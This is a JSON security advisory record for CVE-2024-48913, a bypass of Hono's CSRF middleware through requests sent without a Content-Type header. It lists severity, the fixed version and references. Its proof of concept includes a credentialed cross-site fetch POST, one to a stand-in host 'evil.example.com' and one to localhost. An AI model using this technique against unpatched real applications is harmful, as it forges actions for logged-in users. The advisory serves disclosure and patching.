{"id":"CVE-2024-48913","aliases":["GHSA-2234-fmw7-43wr"],"url":"https://o3.security/vulnerability/CVE-2024-48913","summary":"Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.","details":"### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from 'hono'\nimport { csrf }from 'hono/csrf'\nconst app = new Hono()\napp.use(csrf())\napp.get('/', (c) => {\n  return c.html('Hello Hono!')\n})\napp.post('/', async (c) => {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n<!-- PoC.html -->\n<script>\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n</script>\n<input type=\"button\" onclick=\"myclick()\" value=\"run\" />\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n","published":"2024-10-15T15:56:14.408Z","modified":"2026-08-12T03:51:41.796062770Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"hono","fixedVersion":"4.6.5"}],"fix":{"url":"https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82","label":"honojs/hono@aa50e0a"},"references":[{"type":"WEB","url":"https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/48xxx/CVE-2024-48913.json"},{"type":"ADVISORY","url":"https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-48913"},{"type":"FIX","url":"https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82"},{"type":"PACKAGE","url":"https://github.com/honojs/hono"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:41.796062770Z"}}